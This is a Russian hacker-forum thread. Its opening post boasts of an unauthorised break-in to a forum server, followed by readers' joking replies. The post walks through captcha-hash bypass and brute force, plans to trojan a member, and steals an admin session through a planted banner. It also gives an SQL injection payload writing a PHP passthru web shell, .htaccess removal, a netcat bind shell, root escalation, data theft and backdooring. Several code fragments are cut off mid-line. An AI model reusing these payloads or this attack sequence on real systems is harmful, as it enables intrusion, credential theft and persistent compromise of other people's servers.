![]() |
Неуязвимых систем не бывает
Зачем эта статья?
Надеюсь, что для одноразового прочтения сойдет. Просто нравятся мне такие статьи, а их мало. Было очень жарко... Я налил лимонного сока, положил в стакан льда, стал читать башорг, но тут вспомнил, что надо бы зломать один сервер. Я на него уже давно хотел поглядеть. На сервере не оказалось установлено ничего, кроме форума, который я и избрал своим единственным объектом атаки. Осматриваемся... Форум был самописный и с виду неплохо защищенный. Первым же своим действием я обнаружил администраторскую панель, просто вбив в адресную строку http://site.com/admin/. Админка была доступна, видимо, только админу (странно). Я еще поглядел баги, но, ничего не найдя, решил зарегестрироваться. На страничке регистрации я с сожалением увидел, что регистрация на форуме закрыта. И происходит только через админа. Я не стал вчитываться в то, какого содержания письмо писать админу и что в нем указывать, чтобы мне дали аккаунт, я сразу избрал другой путь. Регистрируемся... Я хотел сбрутить чужой аккаунт, зашел на страничку входа, и немного поубавил свой пыл, увидев там капчу. Правда капча была самой примитивной и я подумал, что можно быстро и со 100% вероятностью ее распознавать. Но перед тем, как я начал писать распознавалку, решил проверить саму авторизацию на прочность. И не зря, оказалось, что в поле hidden формы передавался md5 хеш капчи, но стоит отдать должное программеру, он передаваемый текст хитро спрятал в функции onSubmit, которая присваивала скрытому полю нужное значение прямо перед отправкой. Итак, я быстро написал скрипт на пхп, и попытался брутить, но меня постигла неудача, на IP адрес стояло ограничение по количеству неудачных авторизаций. Я подумал было прикупить проксей, но решил что проще и надежней будет связаться с кем-нибудь из участников форума и впарить ему троя. Искать нужного человека я полез в гугл. Я вбил запросы: Код:
site:site.com мое мылоЦитата:
И что же мы получили? Первое, что бросилось в глаза - то, что пароля в куках не было, была только сессия. Причем эта же сессия мелькала и в get запросах. Я подумал, что можно просниффать админскую сессию, но возник логичный вопрос - как? Аватары на форуме нельзя было указывать ссылками на другой сайт. Только загружать с локалхоста. А тега img не было. Никакой возможности поставить сниффер мне не предоставилось. Я поискал другие баги, но сайт бы чист. Тогда мне в голову пришла идея, как заполучить сессию админа. Получаем админскую сессию. На форуме было несколько рекламных мест, вверху и внизу висели баннеры 468x60, а также пару текстовых ссылок. Баннеры как ни странно были расположены на сайтах рекламодателей. У меня был шелл на сайте с похожей тематикой, я взял их баннер, разместил в отдельной папке, в которой создал также .htaccess с содержимым: Код:
<Files "banner.jpg">Код:
<?phpВаши права? Администратор! Я подменил куки и вошел на форум под админом. И сразу ломанулся осматривать админ панель меня пустило без дополнительных проверок. В админке было не очень много возможностей, я стал искать как бы мне залить шелл, но заливать файлы там было нельзя. Я старательно принялся искать любые баги и вскоре заметил, что при выполнении определенных действий с базой юзеров, в type='hidden' поле формы передается id юзера. Я сделал на локалхосте аналог формы из админки: Код:
<form action='http://site.com/admin_panel/index.php?action=edituser' method='post'>Поскольку я одновременно узнал и пути, и имя таблицы, я попробывал залить шелл через info outfile в директорию с аватарами, она ведь была открыта для записи, у меня получилось: Код:
1' union select '<? passthru($_GET[cmd]) ?>' from users into outfile текста в .htaccess: Код:
<Files ~ "\.php">Safe mode On Но мой шелл не работал, потому-что safe_mod был включен. Тогда я залил простенький скрипт, при помощи которого можно было заливать файлы в определенную папку на сервер. И залил шелл от rst. Увидел уязвимое ядро, увидел, что функция eval и множество других были выключены. Я понял, что при помощи пхп ловить тут нечего. Я не мог выполнять команды, а выполнять кастрированный пхп код мог лишь заливая каждый раз новый файл. Тогда новым файлом я попытался удалить .htaccess, получилось: Код:
<?php unlink('./.htaccess');?>Код:
<Directory /home/site/public_html/images/av/>Также пришлось залить простенький файл, который сменил chmod моему perl скрипту. Только тогда мой perl шелл заработал. Полноценный шелл, это так здорово! Итак, шелл на перле запустился. Я нашел в файле конфига инфу для доступа к бд, ничего интересного там не было. Хотя пароли хранились в открытом виде и я слил таблицу юзеров. Я залил скрипт для бинда порта, вошел на сервер netcat'ом. Дальше я использовал эксплоит для повышения прав, поимев рута, взял с сервера то, что мне было нужно, замел следы, забекдорил систему... но это уже совсем другая история... А на улице по прежнему +30, или В заключении... ...хочу сказать - не пытайтесь повторить это дома, это опасно для жизни. Если будете повторять - не забывайте предохраняться. И помните, не бывает 100% защищенных систем. Используйте творческий подход. Иногда даже обычная XSS может дать вам рута. Не говоря уже про человеческий фактор. Все. Могут быть ошибки. Писал все по памяти. |
Хм.. статейка в стиле Ксакепа, имхо наверно мы её скоро увидим в июньском ][, я правильно понял?
ЗЫ. Имхо только сок у них апельсиновый, а не лимонный... :d |
Цитата:
|
В принцыпе взлом банален и нечего сложно я не вижу...
Ps надо тоже попробывать свеже выжатый лимооный сок, наверное помогает хекать как **нешь пол литра лицо скосит всего вывернет и сиди хекай. Pps Напиши статью о влиянии лимнного сока на мозг хакера. |
+1
банальная статья для ксакепа. хотя порадовала фишка с .htaccess'ом. большая часть была в соц инженерии, а это не всегда удачно, ибо люди разные бывают=\ |
А почему автор в статье говорит о себе то о женском то о мужском роде?
Цитата:
Цитата:
|
Цитата:
Цитата:
|
ой а мне такое нравится читать -- как говорил один мой учитель по информатике сказка про серенького бычка хз почему --- похоже не хеккерскую сказку -- рекомендую к прочтению перед сном для развития фантазии и предупреждения лунатизма
пойдет |
Да, меня тоже удивило 'а потом я поехала в институт.'
Ждем доку в ксакепе? |
| Время: 15:50 |